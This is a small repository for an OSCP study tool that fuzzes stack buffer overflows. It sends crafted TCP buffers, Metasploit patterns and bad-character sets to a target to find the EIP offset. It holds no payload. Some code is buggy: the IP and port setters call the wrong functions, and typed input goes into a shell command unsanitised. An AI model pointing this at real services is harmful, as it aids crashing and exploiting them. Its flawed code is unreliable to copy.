├── LICENSE ├── README.md └── bof_fuzzer.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 AceSineX 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BOF fuzzer python 3 All in one 2 | Send controlled amount of bytes, send msf-pattern, calculate offset, custom buffer, badcharacters all in one. 3 | 4 | Generally when going through the buffer overflow procedure, I tend to make a messy python script, that keeps on getting updated with sloppy code. 5 | That's why I created this fuzzer to keep it organized, and be more efficient. 6 | 7 | Why use this fuzzer? 8 | Run it once, after that you will have: offset and the badcharacters, only thing left after that is to find the jmp esp(or any other register), run msfvenom and send the buffer. 9 | 10 | Quality of life features: 11 | Keeps track of: buffer size, offset and prefixes -> thus no need to retype everytime. 12 | 13 | Typical use case: 14 | 1) Open vulnerable program with immunity debugger. 15 | 2) Use MODE 2, and send bytes till you get an overflow. RESET IMMUNITY. 16 | 3) Use MODE 3, (script already remembers the last buffer size you sent), and it automatically send buffer of msf-pattern. RESET IMMUNITY. 17 | 4) Use MODE 4, (script already remembers the last buffer size you sent), input the eip you saw, and get the offset, which is automatically set in script. RESET IMMUNITY. 18 | 5) Use MODE 6, (script already remembers the last buffer size and offset you sent), MODE 1 (place badchars after eip), and manually check the buffer on immunity. RESET IMMUNITY 19 | 20 | Usage: 21 | 22 | python3 bof_fuzzer.py -ip \ -p \ -prefix \ -offset \ -size \ 23 | 24 | #### You can run the script without arguments, and you can change the arguments while script is running. 25 | 26 | Hope this script will make your life easier, but make sure to know what you are doing. 27 | 28 | -AceSineX 29 | -------------------------------------------------------------------------------- /bof_fuzzer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import socket 3 | import sys 4 | import os 5 | import subprocess 6 | import argparse 7 | 8 | # 9 | # This tool was written for students taking the OSCP 10 | # exam. It will make Buffer Overflow procedure easier 11 | # and faster. Make sure you understand the procedure 12 | # in order to be able to use this tool effectively. 13 | # 14 | # Author AceSineX - Website : https://bytesdeluge.com 15 | # 16 | 17 | 18 | #### Global Variables #### 19 | ip = "127.0.0.1" 20 | port = "1337" 21 | size = 0 22 | offset = 0 23 | prefix = "" 24 | 25 | ## Defining Colors ## 26 | cwhite = "\33[37m" 27 | cblue = "\033[96m" 28 | corange = "\33[33m" 29 | cred = "\33[31m" 30 | 31 | #### /Global Variables #### 32 | badchars = ( 33 | b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" 34 | b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" 35 | b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" 36 | b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" 37 | b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" 38 | b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" 39 | b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" 40 | b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" 41 | b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" 42 | b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" 43 | b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" 44 | b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" 45 | b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" 46 | b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" 47 | b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" 48 | b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") 49 | 50 | #### #### 51 | #### HouseKeeping #### 52 | #### #### 53 | 54 | ## Welcome Message & Argument Parsing ## 55 | def argpar(): 56 | global ip, port, size, offset, prefix 57 | welcome = cblue + "Welcome to Aces BOF Fuzzer :)" + cwhite 58 | parser = argparse.ArgumentParser(description=welcome) 59 | parser.add_argument('-ip', help='Target ip', required=False) 60 | parser.add_argument('-p', help='Target port', required=False, type=int) 61 | parser.add_argument('-size', help='buffer size', required=False, type=int) 62 | parser.add_argument('-offset', help='eip offset', required=False, type=int) 63 | parser.add_argument('-prefix', help='command added before the bytes sent', required=False) 64 | args = parser.parse_args() 65 | 66 | if(args.ip): 67 | ip = args.ip 68 | if(args.p): 69 | port = args.p 70 | if(args.size): 71 | size = args.size 72 | if(args.offset): 73 | offset = args.offset 74 | if(args.prefix): 75 | prefix = args.prefix 76 | 77 | ## Welcome Message 78 | def welcome(): 79 | msg = "\n"+cblue+"*****************************\nWelcome to Aces BOF Fuzzer :)"+cwhite 80 | print(msg) 81 | ## 82 | 83 | 84 | ## Mode 0 Configuration Display 85 | def show_current_config(): 86 | global ip, port, size, offset, prefix 87 | #Debug 88 | print(cblue+"\n*****************************\n*****************************\n"+cwhite) 89 | print(corange+"Your options:") 90 | print(corange+"ip"+cwhite+" -> "+cred+ip) 91 | print(corange+"port"+cwhite+" -> "+cred+str(port)) 92 | print(corange+"size"+cwhite+" -> "+cred+str(size)) 93 | print(corange+"offset"+cwhite+" -> "+cred+str(offset)) 94 | print(corange+"prefix"+cwhite+" -> "+cred+str(prefix)+cwhite) 95 | ## End of Mode 0 96 | 97 | 98 | ## Mode 1 Control Panel for Changing Configuration 99 | def change_config(): 100 | while(1): 101 | print(cblue+"\n*****************************\n*****************************\n"+cwhite) 102 | print("CHANGING SETTINGS:") 103 | print("MODE: "+cred+"0"+cwhite+" =>Change "+cred+"Buffer Size"+cwhite) 104 | print("MODE: "+cred+"1"+cwhite+" =>Change "+cred+"eip Offset"+cwhite) 105 | print("MODE: "+cred+"2"+cwhite+" =>Change "+cred+"Command Prefix"+cwhite) 106 | print("MODE: "+cred+"3"+cwhite+" =>Change "+cred+"Target IP"+cwhite) 107 | print("MODE: "+cred+"4"+cwhite+" =>Change "+cred+"Target Port"+cwhite) 108 | print("MODE: "+cred+"5"+cwhite+" =>"+cred+"Back"+cwhite) 109 | mode=int(input('ENTER MODE:'+corange)) 110 | if(mode == 0): 111 | print() 112 | inp=int(input(cwhite+'Enter new '+cred+'buffer'+cwhite+' size:'+corange)) 113 | change_size(inp) 114 | print(cred+"Buffer Size"+cwhite+" was set to: "+cred+str(inp)+"\n") 115 | elif(mode == 1): 116 | print() 117 | inp=int(input(cwhite+'Enter new '+cred+'offset'+cwhite+' size:'+corange)) 118 | change_offset(inp) 119 | print(cred+"Offset"+cwhite+" was set to: "+cred+str(inp)+"\n") 120 | elif(mode == 2): 121 | print() 122 | inp=str(input(cwhite+'Enter new '+cred+'Prefix:'+corange)) 123 | change_prefix(inp) 124 | print(cred+"Prefix"+cwhite+" was set to: "+cred+inp+"\n") 125 | elif(mode == 3): 126 | print() 127 | inp=str(input(cwhite+'Enter new '+cred+'IP:'+corange)) 128 | change_prefix(inp) 129 | print(cred+"IP"+cwhite+" was set to: "+cred+inp+"\n") 130 | elif(mode == 4): 131 | print() 132 | inp=int(input(cwhite+'Enter new '+cred+'Port:'+corange)) 133 | change_offset(inp) 134 | print(cred+"Port"+cwhite+" was set to: "+cred+str(inp)+"\n") 135 | elif(mode == 5): 136 | break 137 | ## End of Mode 1 138 | 139 | ## Setters for Configuration 140 | def change_size(inp): 141 | global size 142 | size = inp 143 | 144 | def change_offset(inp): 145 | global offset 146 | offset = inp 147 | 148 | def change_prefix(inp): 149 | global prefix 150 | prefix = inp 151 | 152 | def change_ip(inp): 153 | global ip 154 | ip = inp 155 | 156 | def change_port(inp): 157 | global port 158 | port = inp 159 | ## End of Setters 160 | 161 | 162 | ## Mode 2 Send bytes for fuzzing overflow 163 | def send_bytes(): 164 | global ip, port, size, offset, prefix 165 | while(1): 166 | print(cblue+"\n*****************************\n*****************************\n"+cwhite) 167 | print(cred+"MODE"+cwhite+"=> "+cred+" Send Bytes"+cwhite) 168 | print("Enter below how many "+cred+"bytes"+cwhite+" to "+cred+"send"+cwhite) 169 | size=int(input('>Bytes:'+corange)) 170 | 171 | try: 172 | 173 | if(prefix != ""): 174 | buffer = prefix 175 | buffer += size * "A" 176 | else: 177 | buffer = size * "A" 178 | 179 | print(cwhite+"\nSending A's buffer with "+cred+str(size)+" bytes! "+cblue+"Sending..."+cwhite) 180 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 181 | s.connect((ip, int(port))) 182 | print(buffer) 183 | s.send(buffer.encode())# Without .encode() it sends str, and it only works with python2 184 | s.close() 185 | print (cred+"Sent!"+cwhite) 186 | 187 | except socket.error as msg: 188 | print (cred+"\nCould not connect! "+cwhite+"Check "+cred+"IP"+cwhite+" and "+cred+"Port"+cwhite+" again") 189 | print(msg) 190 | sys.exit() 191 | 192 | ans=str(input(cwhite+"\nRetry?["+corange+"Y/n"+cwhite+"]: "+corange)) 193 | if(ans == "N" or ans == "n"): 194 | break 195 | ## End of Mode 2 196 | 197 | 198 | ## Mode 3 Send Pattern 199 | def find_pattern(): 200 | global ip, port, size, offset, prefix 201 | print(cblue+"\n*****************************\n*****************************\n"+cwhite) 202 | print(cred+"MODE"+cwhite+"=> "+cred+" Msf-pattern_create"+cwhite) 203 | if(size == 0): 204 | size=int(input("Enter size of buffer:"+corange)) 205 | print (cwhite+"Creating msfpattern with size of "+cred+str(size)+cwhite) 206 | 207 | try: 208 | if(prefix != ""): 209 | buffer = prefix.encode() 210 | buf2 = subprocess.check_output("msf-pattern_create -l " + str(size), shell=True) 211 | buffer += buf2 212 | else: 213 | buffer = subprocess.check_output("msf-pattern_create -l " + str(size), shell=True) 214 | 215 | print(cwhite+"\nSending pattern with "+cred+str(size)+" bytes! "+cblue+"Sending..."+cwhite) 216 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 217 | s.connect((ip, int(port))) 218 | print(buffer) 219 | s.send(buffer)# Without .encode() it sends str, and it only works with python2 220 | s.close() 221 | print (cred+"Sent!"+cwhite) 222 | 223 | except socket.error as msg: 224 | print (cred+"\nCould not connect! "+cwhite+"Check "+cred+"IP"+cwhite+" and "+cred+"Port"+cwhite+" again") 225 | print(msg) 226 | sys.exit() 227 | ## End of Mode 3 228 | 229 | 230 | ## Mode 4 Find Offset 231 | def find_offset(): 232 | global ip, port, size, offset, prefix 233 | print(cblue+"\n*****************************\n*****************************\n"+cwhite) 234 | print(cred+"MODE"+cwhite+"=> "+cred+" Find offset"+cwhite) 235 | if(size == 0): 236 | print() 237 | size=int(input("Enter size of buffer:"+corange)) 238 | eip = input(cwhite+"EIP Bytes:"+corange) 239 | print(cwhite) 240 | output = subprocess.check_output("msf-pattern_offset -l " + str(size) + " -q " + eip, shell=True) 241 | print(cblue+str(output)+cwhite)#DEBUGGING 242 | offset = int(output.split()[5]) 243 | print(cred+str(offset)+cwhite)#DEBUGGING 244 | ## End of Mode 4 245 | 246 | 247 | ## Mode 5 Checking where the overflow happens 248 | def aabbcc(): 249 | global ip, port, size, offset, prefix 250 | print(cblue+"\n*****************************\n*****************************\n"+cwhite) 251 | print(cred+"MODE"+cwhite+"=> "+cred+" A..ABBBC..C"+cwhite) 252 | if(size == 0): 253 | print() 254 | size=int(input("Enter size of buffer:"+corange)) 255 | print(cwhite) 256 | if(offset == 0): 257 | offset=int(input("Enter offset:"+corange)) 258 | print(cwhite, end ='') 259 | 260 | try: 261 | if(prefix != ""): 262 | buffer = prefix 263 | buffer += offset * "A" 264 | buffer += "BBBB" 265 | buffer += (size - offset -4) * "C" 266 | buffer = buffer.encode() 267 | else: 268 | buffer = offset * "A" 269 | buffer += "BBBB" 270 | buffer += (size - offset -4) * "C" 271 | buffer = buffer.encode() 272 | 273 | print(cwhite+"\nSending "+cred+"A..ABBBC..C"+cwhite+" buffer with "+cred+str(size)+" bytes! "+cblue+"Sending..."+cwhite) 274 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 275 | s.connect((ip, int(port))) 276 | print(buffer) 277 | s.send(buffer)# Without .encode() it sends str, and it only works with python2 278 | s.close() 279 | print (cred+"Sent!"+cwhite) 280 | 281 | except socket.error as msg: 282 | print (cred+"\nCould not connect! "+cwhite+"Check "+cred+"IP"+cwhite+" and "+cred+"Port"+cwhite+" again") 283 | print(msg) 284 | sys.exit() 285 | ## End of Mode 5 286 | 287 | 288 | ## Mode 6 Bad Characters 289 | def bad_check(): 290 | global ip, port, size, offset, prefix 291 | print(cblue+"\n*****************************\n*****************************\n"+cwhite) 292 | print(cred+"MODE"+cwhite+"=> "+cred+" A..ABBBC..C"+cwhite) 293 | if(size == 0): 294 | print() 295 | size=int(input("Enter size of buffer:"+corange)) 296 | print(cwhite) 297 | if(offset == 0): 298 | offset=int(input("Enter offset:"+corange)) 299 | print(cwhite) 300 | 301 | print("Choose where to place the badcharacters:") 302 | print(cred+"Important! Make sure there is enough space, \nbecause this script is not doing any checks"+cwhite) 303 | print(cred+"Always Use Method 1. If Method 0 is used \nsome bad characters might break the chain, \nthus messing the eip position"+cwhite) 304 | print("MODE: "+cred+"0"+cwhite+" =>Start of buffer") 305 | print("MODE: "+cred+"1"+cwhite+" =>After EIP") 306 | abcoffset=int(input('>Selection: '+corange)) 307 | 308 | ## Start of Buffer 309 | if(abcoffset == 0): 310 | if(prefix != ""): 311 | buffer = prefix.encode() 312 | buffer += badchars 313 | buffer += (offset - len(badchars)) * b"\x41" 314 | buffer += b"\x42\x42\x42\x42" 315 | buffer += ((size - offset - 4) * b"\x43") 316 | #buffer = buffer.encode() 317 | else: 318 | buffer = badchars 319 | buffer += (offset - len(badchars)) * b"\x41" 320 | buffer += b"\x42\x42\x42\x42" 321 | buffer += (size - offset - 4) * b"\x43" 322 | #buffer = buffer.encode() 323 | ## After EIP 324 | elif(abcoffset == 1): 325 | if(prefix != ""): 326 | buffer = prefix.encode() 327 | buffer += offset * b"\x41" 328 | buffer += b"\x42\x42\x42\x42" 329 | buffer += badchars 330 | buffer += (size - offset - 4 - len(badchars)) * b"\x43" 331 | #buffer = buffer.encode() 332 | else: 333 | buffer = offset * b"\x41" 334 | buffer += b"\x42\x42\x42\x42" 335 | buffer += badchars 336 | buffer += (size - offset -4 - len(badchars)) * b"\x43" 337 | #buffer = buffer.encode() 338 | ## Defaulting to Start 339 | else: 340 | print("Invalid selection, defaulting to "+cred+"After EIP"+cwhite) 341 | if(prefix != ""): 342 | buffer = prefix.encode() 343 | buffer += offset * b"\x41" 344 | buffer += b"\x42\x42\x42\x42" 345 | buffer += badchars 346 | buffer += (size - offset - 4 - len(badchars)) * b"\x43" 347 | #buffer = buffer.encode() 348 | else: 349 | buffer = offset * b"\x41" 350 | buffer += b"\x42\x42\x42\x42" 351 | buffer += badchars 352 | buffer += (size - offset -4 - len(badchars)) * b"\x43" 353 | buffer = buffer.encode() 354 | 355 | try: 356 | print(cwhite+"\nSending "+cred+"A..ABBBC..C"+cwhite+" buffer with "+cred+str(size)+" bytes! "+cblue+"Sending..."+cwhite) 357 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 358 | s.connect((ip, int(port))) 359 | print(buffer) 360 | s.send(buffer)# Without .encode() it sends str, and it only works with python2 361 | s.close() 362 | print (cred+"Sent!"+cwhite) 363 | 364 | except socket.error as msg: 365 | print (cred+"\nCould not connect! "+cwhite+"Check "+cred+"IP"+cwhite+" and "+cred+"Port"+cwhite+" again") 366 | print(msg) 367 | sys.exit() 368 | ## End of Mode 6 369 | 370 | 371 | 372 | ## Main Control Panel 373 | def control(): 374 | while(1): 375 | print(cblue+"\n*****************************\n*****************************\n"+cwhite) 376 | print("Select MODE:") 377 | print("MODE: "+cred+"0"+cwhite+" =>Show current configuration") 378 | print("MODE: "+cred+"1"+cwhite+" =>Change current configuration") 379 | print("MODE: "+cred+"2"+cwhite+" =>Send X bytes") 380 | print("MODE: "+cred+"3"+cwhite+" =>Create msfpattern with "+cred+str(size)+" bytes"+cwhite+" and Send it") 381 | print("MODE: "+cred+"4"+cwhite+" =>Find offset by providing eip") 382 | print("MODE: "+cred+"5"+cwhite+" =>Send A..ABBBBC..C Buffer") 383 | print("MODE: "+cred+"6"+cwhite+" =>Check Bad Characters") 384 | mode=int(input('ENTER MODE:'+corange)) 385 | if(mode == 0): 386 | show_current_config() 387 | elif(mode == 1): 388 | change_config() 389 | elif(mode == 2): 390 | send_bytes() 391 | elif(mode == 3): 392 | find_pattern() 393 | elif(mode == 4): 394 | find_offset() 395 | elif(mode == 5): 396 | aabbcc() 397 | elif(mode == 6): 398 | bad_check() 399 | 400 | 401 | def Main(): 402 | global ip, port, size, offset, prefix 403 | argpar() 404 | welcome() 405 | show_current_config() 406 | control() 407 | 408 | if __name__ == '__main__': 409 | Main() 410 | --------------------------------------------------------------------------------